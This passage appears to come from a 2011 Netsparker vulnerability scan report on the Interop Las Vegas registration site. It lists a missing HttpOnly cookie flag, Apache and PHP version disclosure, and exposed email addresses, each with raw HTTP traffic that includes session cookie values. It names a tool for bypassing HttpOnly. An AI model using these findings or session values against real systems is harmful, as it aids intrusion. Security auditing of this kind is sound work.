min-width: 1px; /* trigger IE7 hasLayout so spans position accurately */ } .sf-sub-indicator { position: absolute; display: block; right: .75em; top: 1.17em; /* IE6 only */ width: 10px; height: 10px; text-indent: -999em; overflow: hidden; background: url('/eventAssets/intero_lasvegas_2011_100908200353/arrows-2e2d2d.png') no-repeat -10px -100px; /* 8-bit indexed alpha png. IE6 gets solid image only */ } a > .sf-sub-indicator { /* give all except IE6 the correct values */ top: 1.1em; background-position: 0 -100px; /* use translucent arrow for modern browsers*/ } /* apply hovers to modern browsers */ a:focus > .sf-sub-indicator, a:hover > .sf-sub-indicator, a:active > .sf-sub-indicator, li:hover > a > .sf-sub-indicator, li.sfHover > a > .sf-sub-indicator { background-position: -10px -100px; /* arrow hovers for modern browsers*/ } /* point right for anchors in subs */ .sf-menu ul .sf-sub-indicator { background-position: -10px 0; } .sf-menu ul a > .sf-sub-indicator { background-position: 0 0; } /* apply hovers to modern browsers */ .sf-menu ul a:focus > .sf-sub-indicator, .sf-menu ul a:hover > .sf-sub-indicator, .sf-menu ul a:active > .sf-sub-indicator, .sf-menu ul li:hover > a > .sf-sub-indicator, .sf-menu ul li.sfHover > a > .sf-sub-indicator { background-position: -10px 0; /* arrow hovers for modern browsers*/ } /* COLUMN ONE 111111111111111111111111111 ********************************************************** */ #columnOne { background-color: #E9E9E9; border-right: 1px solid #f0f2f4; float: left; font-size: .9em; width: 174px; padd..
Cookie Not Marked As HttpOnly
Cookie Not Marked As HttpOnly
Cookie was not marked as HTTPOnly. HTTPOnly cookies can not be read by client-side scripts therefore marking a cookie as HTTPOnly can provide an additional layer of protection against Cross-site Scripting attacks..
Impact
During a Cross-site Scripting attack an attacker might easily access cookies and hijack the victim's session.
Actions to Take
See the remedy for solution
Consider marking all of the cookies used by the application as HTTPOnly (After these changes javascript code will not able to read cookies.
Mark the cookie as HTTPOnly. This will be an extra layer of defence against XSS. However this is not a silver bullet and will not protect the system against Cross-site Scripting attacks. An attacker can use a tool such as
XSS Tunnel to bypass HTTPOnly protection.
External References
- /lasvegas/2011/login/forgotpassword/controllerName/Registrations
/lasvegas/2011/login/forgotpassword/controllerName/Registrations
CONFIRMED
BNI__BARRACUDA_LB_COOKIE
Request
GET /lasvegas/2011/login/forgotpassword/controllerName/Registrations HTTP/1.1 Referer: https://interop.reg.techweb.com/lasvegas/2011/Registrations?__utma=1.1510423720.1302790871.1302790871.1302790871.2&__utmb=1.0.10.1302790871&__utmc=1&__utmx=1.&__utmz=1.1302790871.1.1.utmcsr=(direct)%7Cutmccn=(direct)%7Cutmcmd=(none)&__utmv=-&__utmk=244538373 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: interop.reg.techweb.com Cookie: timeCheck=1302806336; 9496f8d4091a2efb369e8b7a83e501c3=lgdk8av5u3opushhd2imrstn67; BNI__BARRACUDA_LB_COOKIE=0c64a8c000005000 Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK Date: Thu, 14 Apr 2011 18:38:56 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.2.9 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 3958 Content-Type: text/html; charset=UTF-8 Set-Cookie: BNI__BARRACUDA_LB_COOKIE=0c64a8c000005000; Path=/; Max-age=86400 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html><head> <title>Interop Las Vegas 2011</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <link rel="stylesheet" href="/assets/jquery/ip-ui/jquery-ui-1.8.6.custom.css" type="text/css" media="screen" /><link rel="stylesheet" href="/assets/scripts/IP.css" type="text/css" media="screen" /><script type="text/javascript" src="/assets/jquery/jquery-1.4.4.min.js"></script><script type="text/javascript" src="/assets/jquery/jquery-ui-1.8.6.min.js"></script><script type="text/javascript" src="/assets/scripts/IP.js"></script><link rel="stylesheet" href="/assets/scripts/print.css" media="print" /><script type="text/javascript">jQuery(document).ready(function() {//<![CDATA[IP.RootUrl = "";IP.AssetsUrl = "\/assets";IP.BaseUrl = "\/lasvegas\/2011";IP.CurrentURL = "\/lasvegas\/2011\/login\/forgotpassword\/controllerName\/Registrations";IP.Images = {"add":"\/assets\/famfamfam\/add.png","delete":"\/assets\/famfamfam\/delete.png","edit":"\/assets\/famfamfam\/shape_square_edit.png","move":"\/assets\/famfamfam\/arrowMove.png"};IP.requiredSymbol = " <span class=\"requiredSymbolClass\">•<\/span>";IP.requiredSymbolPlaceHolder = " <span class=\"notRequiredSymbolClass\">•<\/span>";IP.Images.getObject = function(imageType) { var img = jQuery('<img />'); if (this[imageType]) { img.attr('src', this[imageType]); } return img;}; var cssInline = { 'display':'inline-block' } //This is to align the checkboxes and radio boxes /* jQuery('.ip-elementContent').each(function (i) { if(jQuery(this).children(":radio").length > 0 || jQuery(this).children(":checkbox").length >0) { jQuery(this).css(cssInline); } }); */IP.Translate.setTranslations({"Save":"Save","Cancel":"Cancel","Previous":"Previous","Next":"Next","Yes":"Yes","No":"No","Ok":"Ok","Close":"Close","Ignore":"Ignore","-- Select One --":"-- Select One --"});IP.MessageBroker.SUCCESS = 1;IP.MessageBroker.WARNING = 2;IP.MessageBroker.ERROR = 3;IP.MessageBroker.NOTICE = 4;IP.MessageBroker.classes[IP.MessageBroker.SUCCESS] = "success";IP.MessageBroker.classes[IP.MessageBroker.WARNING] = "warning";IP.MessageBroker.classes[IP.MessageBroker.ERROR] = "error";IP.MessageBroker.classes[IP.MessageBroker.NOTICE] = "notice";IP.Filter.joinType = {};IP.Filter.joinType.and = "and";IP.Filter.joinType.or = "or";IP.Filter.joinType.xor = "xor";});//]]></script> </head><body id="public" class="index_login_forgotpassword"><div class="IP_Messages"></div><p>Enter your email address to reset your password.</p><form enctype="application/x-www-form-urlencoded" action="/lasvegas/2011/login/forgotpassword" method="post"><div class="ip-container"><div class="ip-element"><span class="ip-elementContent clearfix"><input type="hidden" name="request" value="05375696cbea9767033785f21b3b9de8" id="request" /></span></div><div class="ip-element"><span class="ip-elementContent clearfix"><input type="hidden" name="redirect" value="Registrations" id="redirect" /></span></div><div class="ip-element"><label for="email" class="ip-elementLabel required ip-elementLabel">Email<span class="requiredSymbol" isRequired=1> <span class="requiredSymbolClass">•</span></span><span class="requiredSymbol"> <span class="notRequiredSymbolClass">•</span></span></label><span class="ip-elementContent clearfix"><input type="text" name="email" id="email" value="" class="ip-formText" /></span></div></div><div class="ip-element"><div class="ip-buttonBar clearfix"><div class="ip-button ip-button-submit"><a href="#" onclick="jQuery(this).parents('form').trigger('IP.preSubmit'); jQuery(this).parents('form').trigger('submit'); IP.cancelLink();" >Reset Password</a><input type="submit" img="/assets/images/spacer.gif"></div></div></div></form></body></html>
Apache Version Disclosure
Apache Version Disclosure
Netsparker identified that the target web server is an Apache server. This was disclosed through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of Apache.
Impact
An attacker can search for specific security vulnerabilities for the version of Apache identified within the SERVER header.
Configure your web server to prevent information leakage from the SERVER
header of its HTTP response.
- /lasvegas/2011/login/forgotpassword/controllerName/Registrations
/lasvegas/2011/login/forgotpassword/controllerName/Registrations
Apache/2.2.3 (Red Hat)
Request
GET /lasvegas/2011/login/forgotpassword/controllerName/Registrations HTTP/1.1 Referer: https://interop.reg.techweb.com/lasvegas/2011/Registrations?__utma=1.1510423720.1302790871.1302790871.1302790871.2&__utmb=1.0.10.1302790871&__utmc=1&__utmx=1.&__utmz=1.1302790871.1.1.utmcsr=(direct)%7Cutmccn=(direct)%7Cutmcmd=(none)&__utmv=-&__utmk=244538373 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: interop.reg.techweb.com Cookie: timeCheck=1302806336; 9496f8d4091a2efb369e8b7a83e501c3=lgdk8av5u3opushhd2imrstn67; BNI__BARRACUDA_LB_COOKIE=0c64a8c000005000 Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK Date: Thu, 14 Apr 2011 18:38:56 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.2.9 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 3958 Content-Type: text/html; charset=UTF-8 Set-Cookie: BNI__BARRACUDA_LB_COOKIE=0c64a8c000005000; Path=/; Max-age=86400 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html><head> <title>Interop Las Vegas 2011</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <link rel="stylesheet" href="/assets/jquery/ip-ui/jquery-ui-1.8.6.custom.css" type="text/css" media="screen" /><link rel="stylesheet" href="/assets/scripts/IP.css" type="text/css" media="screen" /><script type="text/javascript" src="/assets/jquery/jquery-1.4.4.min.js"></script><script type="text/javascript" src="/assets/jquery/jquery-ui-1.8.6.min.js"></script><script type="text/javascript" src="/assets/scripts/IP.js"></script><link rel="stylesheet" href="/assets/scripts/print.css" media="print" /><script type="text/javascript">jQuery(document).ready(function() {//<![CDATA[IP.RootUrl = "";IP.AssetsUrl = "\/assets";IP.BaseUrl = "\/lasvegas\/2011";IP.CurrentURL = "\/lasvegas\/2011\/login\/forgotpassword\/controllerName\/Registrations";IP.Images = {"add":"\/assets\/famfamfam\/add.png","delete":"\/assets\/famfamfam\/delete.png","edit":"\/assets\/famfamfam\/shape_square_edit.png","move":"\/assets\/famfamfam\/arrowMove.png"};IP.requiredSymbol = " <span class=\"requiredSymbolClass\">•<\/span>";IP.requiredSymbolPlaceHolder = " <span class=\"notRequiredSymbolClass\">•<\/span>";IP.Images.getObject = function(imageType) { var img = jQuery('<img />'); if (this[imageType]) { img.attr('src', this[imageType]); } return img;}; var cssInline = { 'display':'inline-block' } //This is to align the checkboxes and radio boxes /* jQuery('.ip-elementContent').each(function (i) { if(jQuery(this).children(":radio").length > 0 || jQuery(this).children(":checkbox").length >0) { jQuery(this).css(cssInline); } }); */IP.Translate.setTranslations({"Save":"Save","Cancel":"Cancel","Previous":"Previous","Next":"Next","Yes":"Yes","No":"No","Ok":"Ok","Close":"Close","Ignore":"Ignore","-- Select One --":"-- Select One --"});IP.MessageBroker.SUCCESS = 1;IP.MessageBroker.WARNING = 2;IP.MessageBroker.ERROR = 3;IP.MessageBroker.NOTICE = 4;IP.MessageBroker.classes[IP.MessageBroker.SUCCESS] = "success";IP.MessageBroker.classes[IP.MessageBroker.WARNING] = "warning";IP.MessageBroker.classes[IP.MessageBroker.ERROR] = "error";IP.MessageBroker.classes[IP.MessageBroker.NOTICE] = "notice";IP.Filter.joinType = {};IP.Filter.joinType.and = "and";IP.Filter.joinType.or = "or";IP.Filter.joinType.xor = "xor";});//]]></script> </head><body id="public" class="index_login_forgotpassword"><div class="IP_Messages"></div><p>Enter your email address to reset your password.</p><form enctype="application/x-www-form-urlencoded" action="/lasvegas/2011/login/forgotpassword" method="post"><div class="ip-container"><div class="ip-element"><span class="ip-elementContent clearfix"><input type="hidden" name="request" value="05375696cbea9767033785f21b3b9de8" id="request" /></span></div><div class="ip-element"><span class="ip-elementContent clearfix"><input type="hidden" name="redirect" value="Registrations" id="redirect" /></span></div><div class="ip-element"><label for="email" class="ip-elementLabel required ip-elementLabel">Email<span class="requiredSymbol" isRequired=1> <span class="requiredSymbolClass">•</span></span><span class="requiredSymbol"> <span class="notRequiredSymbolClass">•</span></span></label><span class="ip-elementContent clearfix"><input type="text" name="email" id="email" value="" class="ip-formText" /></span></div></div><div class="ip-element"><div class="ip-buttonBar clearfix"><div class="ip-button ip-button-submit"><a href="#" onclick="jQuery(this).parents('form').trigger('IP.preSubmit'); jQuery(this).parents('form').trigger('submit'); IP.cancelLink();" >Reset Password</a><input type="submit" img="/assets/images/spacer.gif"></div></div></div></form></body></html>
PHP Version Disclosure
PHP Version Disclosure
Netsparker identified that the target web server is disclosing the PHP version in use through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of PHP.
Impact
An attacker can look for specific security vulnerabilities for the version identified. Also the attacker can use this information in conjunction with the other vulnerabilities in the application or the web server.
- /lasvegas/2011/login/forgotpassword/controllerName/Registrations
/lasvegas/2011/login/forgotpassword/controllerName/Registrations
PHP/5.2.9
Request
GET /lasvegas/2011/login/forgotpassword/controllerName/Registrations HTTP/1.1 Referer: https://interop.reg.techweb.com/lasvegas/2011/Registrations?__utma=1.1510423720.1302790871.1302790871.1302790871.2&__utmb=1.0.10.1302790871&__utmc=1&__utmx=1.&__utmz=1.1302790871.1.1.utmcsr=(direct)%7Cutmccn=(direct)%7Cutmcmd=(none)&__utmv=-&__utmk=244538373 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: interop.reg.techweb.com Cookie: timeCheck=1302806336; 9496f8d4091a2efb369e8b7a83e501c3=lgdk8av5u3opushhd2imrstn67; BNI__BARRACUDA_LB_COOKIE=0c64a8c000005000 Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK Date: Thu, 14 Apr 2011 18:38:56 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.2.9 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 3958 Content-Type: text/html; charset=UTF-8 Set-Cookie: BNI__BARRACUDA_LB_COOKIE=0c64a8c000005000; Path=/; Max-age=86400 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html><head> <title>Interop Las Vegas 2011</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <link rel="stylesheet" href="/assets/jquery/ip-ui/jquery-ui-1.8.6.custom.css" type="text/css" media="screen" /><link rel="stylesheet" href="/assets/scripts/IP.css" type="text/css" media="screen" /><script type="text/javascript" src="/assets/jquery/jquery-1.4.4.min.js"></script><script type="text/javascript" src="/assets/jquery/jquery-ui-1.8.6.min.js"></script><script type="text/javascript" src="/assets/scripts/IP.js"></script><link rel="stylesheet" href="/assets/scripts/print.css" media="print" /><script type="text/javascript">jQuery(document).ready(function() {//<![CDATA[IP.RootUrl = "";IP.AssetsUrl = "\/assets";IP.BaseUrl = "\/lasvegas\/2011";IP.CurrentURL = "\/lasvegas\/2011\/login\/forgotpassword\/controllerName\/Registrations";IP.Images = {"add":"\/assets\/famfamfam\/add.png","delete":"\/assets\/famfamfam\/delete.png","edit":"\/assets\/famfamfam\/shape_square_edit.png","move":"\/assets\/famfamfam\/arrowMove.png"};IP.requiredSymbol = " <span class=\"requiredSymbolClass\">•<\/span>";IP.requiredSymbolPlaceHolder = " <span class=\"notRequiredSymbolClass\">•<\/span>";IP.Images.getObject = function(imageType) { var img = jQuery('<img />'); if (this[imageType]) { img.attr('src', this[imageType]); } return img;}; var cssInline = { 'display':'inline-block' } //This is to align the checkboxes and radio boxes /* jQuery('.ip-elementContent').each(function (i) { if(jQuery(this).children(":radio").length > 0 || jQuery(this).children(":checkbox").length >0) { jQuery(this).css(cssInline); } }); */IP.Translate.setTranslations({"Save":"Save","Cancel":"Cancel","Previous":"Previous","Next":"Next","Yes":"Yes","No":"No","Ok":"Ok","Close":"Close","Ignore":"Ignore","-- Select One --":"-- Select One --"});IP.MessageBroker.SUCCESS = 1;IP.MessageBroker.WARNING = 2;IP.MessageBroker.ERROR = 3;IP.MessageBroker.NOTICE = 4;IP.MessageBroker.classes[IP.MessageBroker.SUCCESS] = "success";IP.MessageBroker.classes[IP.MessageBroker.WARNING] = "warning";IP.MessageBroker.classes[IP.MessageBroker.ERROR] = "error";IP.MessageBroker.classes[IP.MessageBroker.NOTICE] = "notice";IP.Filter.joinType = {};IP.Filter.joinType.and = "and";IP.Filter.joinType.or = "or";IP.Filter.joinType.xor = "xor";});//]]></script> </head><body id="public" class="index_login_forgotpassword"><div class="IP_Messages"></div><p>Enter your email address to reset your password.</p><form enctype="application/x-www-form-urlencoded" action="/lasvegas/2011/login/forgotpassword" method="post"><div class="ip-container"><div class="ip-element"><span class="ip-elementContent clearfix"><input type="hidden" name="request" value="05375696cbea9767033785f21b3b9de8" id="request" /></span></div><div class="ip-element"><span class="ip-elementContent clearfix"><input type="hidden" name="redirect" value="Registrations" id="redirect" /></span></div><div class="ip-element"><label for="email" class="ip-elementLabel required ip-elementLabel">Email<span class="requiredSymbol" isRequired=1> <span class="requiredSymbolClass">•</span></span><span class="requiredSymbol"> <span class="notRequiredSymbolClass">•</span></span></label><span class="ip-elementContent clearfix"><input type="text" name="email" id="email" value="" class="ip-formText" /></span></div></div><div class="ip-element"><div class="ip-buttonBar clearfix"><div class="ip-button ip-button-submit"><a href="#" onclick="jQuery(this).parents('form').trigger('IP.preSubmit'); jQuery(this).parents('form').trigger('submit'); IP.cancelLink();" >Reset Password</a><input type="submit" img="/assets/images/spacer.gif"></div></div></div></form></body></html>
E-mail Address Disclosure
E-mail Address Disclosure
Netsparker found e-mail addresses on the web site.
Impact
E-mail addresses discovered within the application can be used by both spam email engines and also brute force tools. Furthermore valid email addresses may lead to social engineering attacks .
Use generic email addresses such as contact@ or info@ for general communications, remove user/people specific e-mail addresses from the web site, should this be required use submission forms for this purpose.
External References
- /lasvegas/2011/Registrations
/lasvegas/2011/Registrations
registration@ubm.com feedback@techweb.com
Request
GET /lasvegas/2011/Registrations?__utma=1.1510423720.1302790871.1302790871.1302790871.2&__utmb=1.0.10.1302790871&__utmc=1&__utmx=1.&__utmz=1.1302790871.1.1.utmcsr=(direct)%7Cutmccn=(direct)%7Cutmcmd=(none)&__utmv=-&__utmk=244538373 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: interop.reg.techweb.com Accept-Encoding: gzip, deflate Connection: Keep-Alive
Response
HTTP/1.1 200 OK Date: Thu, 14 Apr 2011 18:38:55 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.2.9 Set-Cookie: 9496f8d4091a2efb369e8b7a83e501c3=lgdk8av5u3opushhd2imrstn67; path=/; secure,BNI__BARRACUDA_LB_COOKIE=0c64a8c000005000; Path=/; Max-age=86400 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Keep-Alive: timeout=1, max=82 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html><head> <title>Interop Las Vegas 2011</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <link rel="stylesheet" href="/assets/jquery/ip-ui/jquery-ui-1.8.6.custom.css" type="text/css" media="screen" /><link rel="stylesheet" href="/assets/scripts/IP.css" type="text/css" media="screen" /><script type="text/javascript" src="/assets/jquery/jquery-1.4.4.min.js"></script><script type="text/javascript" src="/assets/jquery/jquery-ui-1.8.6.min.js"></script><script type="text/javascript" src="/assets/scripts/rememberLoginEmail.js"></script><script type="text/javascript" src="/assets/scripts/IP.js"></script><link rel="stylesheet" href="/assets/scripts/print.css" media="print" /><script type="text/javascript">jQuery(document).ready(function() {//<![CDATA[IP.RootUrl = "";IP.AssetsUrl = "\/assets";IP.BaseUrl = "\/lasvegas\/2011";IP.CurrentURL = "\/lasvegas\/2011\/Registrations?__utma=1.1510423720.1302790871.1302790871.1302790871.2&__utmb=1.0.10.1302790871&__utmc=1&__utmx=1.&__utmz=1.1302790871.1.1.utmcsr=(direct)%7Cutmccn=(direct)%7Cutmcmd=(none)&__utmv=-&__utmk=244538373";IP.Images = {"add":"\/assets\/famfamfam\/add.png","delete":"\/assets\/famfamfam\/delete.png","edit":"\/assets\/famfamfam\/shape_square_edit.png","move":"\/assets\/famfamfam\/arrowMove.png"};IP.requiredSymbol = " <span class=\"requiredSymbolClass\">•<\/span>";IP.requiredSymbolPlaceHolder = " <span class=\"notRequiredSymbolClass\">•<\/span>";IP.Images.getObject = function(imageType) { var img = jQuery('<img />'); if (this[imageType]) { img.attr('src', this[imageType]); } return img;}; var cssInline = { 'display':'inline-block' } //This is to align the checkboxes and radio boxes /* jQuery('.ip-elementContent').each(function (i) { if(jQuery(this).children(":radio").length > 0 || jQuery(this).children(":checkbox").length >0) { jQuery(this).css(cssInline); } }); */IP.Translate.setTranslations({"Save":"Save","Cancel":"Cancel","Previous":"Previous","Next":"Next","Yes":"Yes","No":"No","Ok":"Ok","Close":"Close","Ignore":"Ignore","-- Select One --":"-- Select One --"});IP.MessageBroker.SUCCESS = 1;IP.MessageBroker.WARNING = 2;IP.MessageBroker.ERROR = 3;IP.MessageBroker.NOTICE = 4;IP.MessageBroker.classes[IP.MessageBroker.SUCCESS] = "success";IP.MessageBroker.classes[IP.MessageBroker.WARNING] = "warning";IP.MessageBroker.classes[IP.MessageBroker.ERROR] = "error";IP.MessageBroker.classes[IP.MessageBroker.NOTICE] = "notice";IP.Filter.joinType = {};IP.Filter.joinType.and = "and";IP.Filter.joinType.or = "or";IP.Filter.joinType.xor = "xor";});//]]></script><script type="text/javascript">//<![CDATA[$(document).ready(function() { jQuery("input[name=\"vhLeJi62\"]").uniqueEmail({"controllerUrl":"\/lasvegas\/2011\/index\/Registrations\/","verifiedEmail":null}); IP.Filter.bindContainer(jQuery("div[pagebuilder_layout]"));IP.Filter.checkAllTargets();});IP.Filter.addTarget("ipgMpQ45" ,"[unique_id=eAXWJA96]" ,"and"); IP.Filter.addTarget("tMzsxY25" ,"[unique_id=lyNnYd98]" ,"and"); IP.Filter.addTarget("sxrmIo68" ,"[unique_id=vhLeJi62]" ,"and"); IP.Filter.addTarget("EMDUDc49" ,"[unique_id=fvuhSN21]" ,"and"); IP.Filter.addTarget("qGAdiD25" ,"[unique_id=QeHtCy13]" ,"and"); IP.Filter.addTarget("heqKgM69" ,"[unique_id=ptDVXt43]" ,"and"); IP.Filter.addTarget("HWgABU98" ,"[unique_id=EQSUfR75]" ,"and"); IP.Filter.addTarget("AyVIbg10" ,"[unique_id=ObPCNq17]" ,"and"); IP.Filter.addTarget("rnjyZQ36" ,"[unique_id=THqFxi51]" ,"and"); IP.Filter.addTarget("EcCGiM68" ,"[unique_id=jypvpK68]" ,"and"); IP.Filter.addTarget("JwrbJo50" ,"[unique_id=mKAKqW38]" ,"and");//]]></script> </head><body id="public" class="index_registrations_index"><script> _udn = "none"; _uhash = "off"; </script><!-- Google Website Optimizer Control Script --><script> function utmx_section(){}function utmx(){} (function(){var k='0700847492',d=document,l=d.location,c=d.cookie;function f(n){ if(c){var i=c.indexOf(n+'=');if(i>-1){var j=c.indexOf(';',i);return c.substring(i+n. length+1,j<0?c.length:j)}}}var x=f('__utmx'),xx=f('__utmxx'),h=l.hash; d.write('<sc'+'ript src="'+ 'http'+(l.protocol=='https:'?'s://ssl':'://www')+'.google-analytics.com' +'/siteopt.js?v=1&utmxkey='+k+'&utmx='+(x?x:'')+'&utmxx='+(xx?xx:'')+'&utmxtime=' +new Date().valueOf()+(h?'&utmxhash='+escape(h.substr(1)):'')+ '" type="text/javascript" charset="utf-8"></sc'+'ript>')})(); </script><!-- End of Google Website Optimizer Control Script --><script type="text/javascript"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-1310215-9']); _gaq.push(['_setDomainName','none']); _gaq.push(['_setAllowLinker',true]); _gaq.push(['_setAllowHash',false]); if ( typeof(utmx) != 'undefined' && utmx('combination') != undefined) { _gaq.push(['_setCustomVar',1,'gwo-lv-variation',utmx('combination'),2]); } _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); </script> <p><style media="screen, projection, print" type="text/css"> * { font-family: 'Segoe UI', Arial, Verdana, sans-serif !important; } /* Defeat default CSS from https://web.ubm.aetherquest.com/assets/scripts/IP.css */ .force-clear { clear: both; } .packageName { font-weight: bold; } .packageDescription { font-style: italic; padding-bottom: 15px; } input.IE7_Radio { margin: 3px 6px 0px 0px; } /* some spacing for the radio buttons on Packages */ *:first-child+html #public.index_registrations_profile .IE7_Radio, *:first-child+html #public.index_registrations_demographics .IE7_Radio, *:first-child+html #public.index_registrations_housing .IE7_Radio, *:first-child+html #public.index_registrations_review .IE7_Radio, *:first-child+html #public.index_registrations_payment .IE7_Radio, *:first-child+html #public.index_registrations_packages .IE7_Radio, *:first-child+html #public.index_registrations_hotel .IE7_Radio { width: 50px !important; } td.packageRadio { *text-align: right !important; } div.ip-button a { background-color: #666666; text-decoration: none; } div.ip-button a:hover { background-color: #666666; text-decoration: underline; } div.ip-button.ip-button-submit a { background-color: #1568AE; } div.ip-button.ip-button-submit a:hover { background-color: #357EC2; } div.ip-button.ip-button-cancel a { background-color: #B6B3AB; } div.ip-button.ip-button-cancel a:hover { background-color: #B6B3AB; } /* Begin progress bar */ #centeredmenu { background-color: #cccccc; border: 1px solid #666666; clear: both; float: left; font-size: .9em; *padding-bottom: 5px !important; -moz-border-radius: 10px; -webkit-border-radius: 10px; -khtml-border-radius: 10px; border-radius: 10px; overflow-x: visible; overflow-y: visible; position: relative; width: auto; } #centeredmenu ul { left: 0%; margin: 0px !important; padding: 0px !important; } #centeredmenu ul li { display: block; float: left; list-style-type: none; list-style-image: none; list-style-position: outside; margin: 0px !important; padding: 0px !important; position: relative; right: 0%; } ul#progress li, ul#progress li span { float: left; list-style-type: none; } ul#progress span { color: #666666; } ul#progress li span { padding: 6px 0px 0px 19px !important; } ul#progress li.currentStep { background-color: white !important; -moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px; } ul#progress li.currentStep span { border: none; *margin-bottom: 5px; } ul#progress li { background: transparent url('/eventAssets/intero_lasvegas_2011_100908200353/image/stepNumber.gif') no-repeat 6px 7px; margin: 5px !important; padding: 5px !important; } ul#progress li#step2 { background: transparent url('/eventAssets/intero_lasvegas_2011_100908200353/image/stepNumber.gif') no-repeat 6px -27px; } ul#progress li#step3 { background: transparent url('/eventAssets/intero_lasvegas_2011_100908200353/image/stepNumber.gif') no-repeat 6px -61px; } ul#progress li#step4 { background: transparent url('/eventAssets/intero_lasvegas_2011_100908200353/image/stepNumber.gif') no-repeat 6px -94px; } ul#progress li#step5 { background: transparent url('/eventAssets/intero_lasvegas_2011_100908200353/image/stepNumber.gif') no-repeat 6px -128px; } ul#progress li#step6 { background: transparent url('/eventAssets/intero_lasvegas_2011_100908200353/image/stepNumber.gif') no-repeat 6px -161px; } ul#progress li#step7 { background: transparent url('/eventAssets/intero_lasvegas_2011_100908200353/image/stepNumber.gif') no-repeat 6px -193px; } ul#progress li#step8 { background: transparent url('/eventAssets/intero_lasvegas_2011_100908200353/image/stepNumber.gif') no-repeat 6px -226px; } ul#progress li#step9 { background: transparent url('/eventAssets/intero_lasvegas_2011_100908200353/image/stepNumber.gif') no-repeat 6px -259px; } /* End progress bar */ .disclaimer { clear: left; color: #666666; font-size: .9em; line-height: 1.1em; margin-bottom: 10px; padding-left: 10px; } .disclaimer a { text-decoration: none; } .disclaimer a:hover {text-decoration: underline; } /* End EV2-specific CSS - begin the theme... */ html, body, #header, #headerContent, #mainMenu, #mainMenu ul, #columnOne, #columnTwo, #columnThree, #advertisements { margin: 0px; padding: 0px; } body { background-color: white; color: #292929; font-family: Helvetica, Arial, Verdana, sans-serif; font-size: .9em; } a, a:visited { color: #296490; } a:hover, a:active { color: #427A9B; text-decoration: none; } h1, h2, h3 { color: #292929; font-family: Helvetica, Arial, sans-serif; font-weight: bold; } h1, h2 { letter-spacing: -0.05em; } h3 { letter-spacing: -0.04em; } hr { border: 1px solid #999999; margin: 0px !important; padding: 0px !important; } iframe { margin: 0px 0px 0px 12px; } sup { font-size: .7em; } #breadCrumb { font-size: 80%; margin: 10px 0px 6px 0px; } #breadCrumb a { color: #444444 !important; text-decoration: none; } #breadCrumb a:hover { color: #666666 !important; text-decoration: underline; } img.landscape { border: 1px solid #cccccc; float: right; margin-bottom: 3px; margin-left: 3px; padding: 3px; width: 200px; } .backToTop { text-align: right; } .centered { margin: auto; padding: 0px; text-align: center; } .clear { clear: both; margin: 0px; padding: 0px; } .more { text-align: right; } .noTopMargin { margin-top: 0px !important; padding-top: 0px !important; } .noBottomMargin { margin-bottom: 0px !important; padding-bottom: 0px !important; } .small { font-size: .8em; } /* HEADER ********************************************************** */ #wrapper { margin: 0px auto; min-height: inherit; padding: 20px 0px 0px 0px; } #headerContent, #headerMessage, #mainMenu, #wrapper { width: 999px; } #header { background: transparent url('/eventAssets/intero_lasvegas_2011_100908200353/header-splash.jpg') no-repeat bottom center; height: 168px; } #header, #headerContent { margin: 0px auto; } #headerContent { background: transparent url('/eventAssets/intero_lasvegas_2011_100908200353/header-bg.png') repeat-x top left; color: white; font-family: Helvetica, Arial, sans-serif; font-size: 1.2em; height: 49px; letter-spacing: 2px; padding: 13px 21px 0px 47px; text-transform: uppercase; 